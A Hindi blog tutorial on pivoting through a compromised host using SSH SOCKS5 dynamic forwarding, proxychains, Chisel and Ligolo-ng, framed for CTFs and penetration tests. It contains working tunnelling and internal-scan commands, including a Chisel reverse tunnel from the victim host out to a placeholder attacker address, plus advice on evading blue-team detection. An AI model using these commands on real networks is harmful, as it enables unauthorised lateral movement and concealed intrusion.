Offensive Security

SOCKS5 टनल के साथ समझौता किए गए होस्ट के माध्यम से पिवटिंग

4 min read Published Updated 745 words

आंतरिक नेटवर्क पर एक समझौता किया गया होस्ट विश्वसनीय पिवट पथ के बिना बेकार है। SSH पर SOCKS5 टनल सबसे कम विलंबता और सबसे अधिक टूल-अज्ञेयवादी विधि प्रदान करते हैं — फिर भी अधिकांश ऑपरेटर उन्हें गलत कॉन्फ़िगर करते हैं या फोरेंसिक टुकड़े छोड़ देते हैं जिन्हें एक सक्षम ब्लू टीम सेकंडों में पहचान लेगी। 2024 में, एक उचित रूप से सेट किया गया SOCKS5 प्रॉक्सी अभी भी कच्चे TCP थ्रूपुट के लिए HTTP CONNECT प्रॉक्सी से बेहतर है, और proxychains-ng और Chisel जैसे टूल के साथ, आप लक्ष्य के फ़ायरवॉल नियमों को छुए बिना एक ही SSH सत्र के माध्यम से nmap, Metasploit और कस्टम स्क्रिप्ट को रूट कर सकते हैं।

SSH पर SOCKS5 पोर्ट फ़ॉरवर्डिंग से बेहतर क्यों है

स्टैटिक लोकल पोर्ट फ़ॉरवर्डिंग (-L) आपको प्रत्येक रिमोट सेवा के साथ इंटरैक्ट करने से पहले उसे लोकल पोर्ट पर मैप करने के लिए मजबूर करती है। यदि आपको /24 सबनेट को स्कैन करना है, तो आपको 254 अलग-अलग फ़ॉरवर्ड बनाने होंगे। SOCKS5 डायनामिक फ़ॉरवर्डिंग (-D) एक लोकल SOCKS5 प्रॉक्सी को उजागर करके इस समस्या को हल करती है जो किसी भी TCP कनेक्शन को SSH टनल के माध्यम से रिमोट होस्ट तक रूट करती है। यह प्रोटोकॉल RFC 1928 में परिभाषित है और प्रमाणीकरण, UDP (वैकल्पिक) और IPv6 को संभालता है। व्यवहार में, आपको एक एकल लोकल लिसनर मिलता है — आमतौर पर 127.0.0.1:1080 पर — और हर वह टूल जो SOCKS प्रॉक्सी का समर्थन करता है, इसका उपयोग कर सकता है। ओवरहेड नगण्य है: SSH का एन्क्रिप्शन शायद 5-10% CPU जोड़ता है, लेकिन विलंबता VPN या वेब शेल के माध्यम से रिवर्स पोर्ट फ़ॉरवर्ड की तुलना में काफी कम है।

Linux फ़ुटहोल्ड पर SOCKS5 लिसनर सेट करना

मान लें कि आपके पास लक्ष्य नेटवर्क के अंदर एक Linux होस्ट पर शेल है। पिवट स्थापित करने का सबसे तेज़ तरीका समझौता किए गए होस्ट से आपकी अटैक मशीन पर ssh -D 1080 -N -f user@your-listener चलाना है। लेकिन इसके लिए आउटबाउंड SSH एक्सेस की आवश्यकता होती है, जो अवरुद्ध हो सकता है। इसके बजाय, अपनी अटैक मशीन से समझौता किए गए होस्ट पर डायनामिक फ़ॉरवर्ड चलाएँ:

ssh -D 1080 -N -f compromised_user@compromised_host

यह आपके लोकल पोर्ट 1080 पर एक SOCKS5 प्रॉक्सी खोलता है। अब proxychains-ng (/etc/proxychains.conf) को उस प्रॉक्सी का उपयोग करने के लिए कॉन्फ़िगर करें:

socks5 127.0.0.1 1080

फिर किसी भी TCP टूल को टनल के माध्यम से चलाएँ:

proxychains4 nmap -sT -Pn -p 445,3389 10.10.10.0/24

ध्यान दें कि nmap को -sT (TCP कनेक्ट स्कैन) की आवश्यकता है क्योंकि SOCKS5 कच्चे SYN पैकेट का समर्थन नहीं करता है। Metasploit के लिए, setg Proxies socks5:127.0.0.1:1080 सेट करें और सभी सहायक और एक्सप्लॉइट मॉड्यूल पिवट के माध्यम से रूट होंगे। यह तकनीक Hack The Box या Proving Grounds जैसे CTF वातावरण में काम करती है जहाँ लक्ष्य दूसरे सबनेट तक पहुँचना होता है।

Chisel, Ligolo-ng और ट्रेड-ऑफ़

जब SSH उपलब्ध नहीं है — शायद लक्ष्य Windows चलाता है या उसमें SSH सर्वर नहीं है — तो वैकल्पिक टनलिंग टूल इस अंतर को भरते हैं। Chisel एक Go-आधारित क्लाइंट और सर्वर का उपयोग करता है जो TCP को HTTP/HTTPS पर टनल करता है। अपनी अटैक बॉक्स पर सर्वर चलाएँ: chisel server -p 8000 --reverse। समझौता किए गए होस्ट पर क्लाइंट चलाएँ: chisel client your_ip:8000 R:socks। यह आपको सर्वर साइड पर एक SOCKS5 लिसनर देता है। Chisel तेज़ है और प्रतिबंधात्मक एग्रेस फ़िल्टर के माध्यम से काम करता है, लेकिन इसका ट्रैफ़िक डिफ़ॉल्ट रूप से एन्क्रिप्टेड नहीं है — यदि आप ऑप्सेक की परवाह करते हैं तो इसे TLS में लपेटें या SSH का उपयोग करें।

Ligolo-ng एक अलग दृष्टिकोण अपनाता है: यह TUN/TAP इंटरफ़ेस का उपयोग करके लेयर 3 पर एक नेटवर्क टनल बनाता है। SOCKS5 के बजाय, आप पूरे IP रेंज को पिवट के माध्यम से रूट करते हैं। इसका मतलब है कि आप proxychains के बिना nmap -sS (SYN स्कैन) चला सकते हैं। ट्रेड-ऑफ़ प्रशासनिक ओवरहेड है: आपको दोनों सिरों पर रूट की आवश्यकता है, और टनल सेटअप के लिए आपकी अटैक मशीन पर रूट जोड़ने की आवश्यकता होती है। CTF में जहाँ आप दोनों पक्षों को नियंत्रित करते हैं, Ligolo-ng तेज़ है। वास्तविक अभियानों में, SOCKS5 दृष्टिकोण अधिक पोर्टेबल है क्योंकि यह पिवट होस्ट पर उन्नत विशेषाधिकारों के बिना काम करता है।

हमलावरों द्वारा छोड़े गए डिटेक्शन सिग्नल

हर पिवट विधि कलाकृतियाँ छोड़ती है। SSH डायनामिक फ़ॉरवर्ड समझौता किए गए होस्ट पर एक लिसनिंग सॉकेट बनाता है — ss -tlnp एक ssh प्रक्रिया दिखाता है जो 127.0.0.1:1080 से बंधी है। ब्लू टीमें इसे बाहरी IP पर आउटबाउंड SSH कनेक्शन से जोड़ सकती हैं। Chisel की क्लाइंट प्रक्रिया डिफ़ॉल्ट रूप से chisel नाम की होती है — प्रक्रिया निगरानी से पहचानना आसान है। Ligolo-ng को TUN डिवाइस (ip link show) की आवश्यकता होती है, जो सर्वर पर असामान्य है।

इससे भी बुरी बात यह है कि कई ऑपरेटर सफाई करना भूल जाते हैं। SSH सत्र तब तक बना रहता है जब तक रिमोट होस्ट इसे मार नहीं देता या कनेक्शन ड्रॉप नहीं हो जाता। Proxychains कोई लोकल कलाकृति नहीं छोड़ता, लेकिन nmap ट्रैफ़िक स्वयं — एक होस्ट से असामान्य पोर्ट स्कैन जो सामान्यतः स्कैन नहीं करता — IDS अलर्ट ट्रिगर करता है। सबसे आम गलती डिफ़ॉल्ट SOCKS5 पोर्ट 1080 का पुन: उपयोग करना है। इसे एक उच्च एफेमरल पोर्ट (जैसे ssh -D 53421) में बदलें और डिफ़ॉल्ट कॉन्फ़िग फ़ाइल छोड़ने से बचने के लिए proxychains कॉन्फ़िगरेशन को उपनाम दें। CTF में, इससे कोई फर्क नहीं पड़ता। वास्तविक पेनिट्रेशन टेस्ट में, ये सिग्नल ही हैं जिनसे आप पकड़े जाते हैं।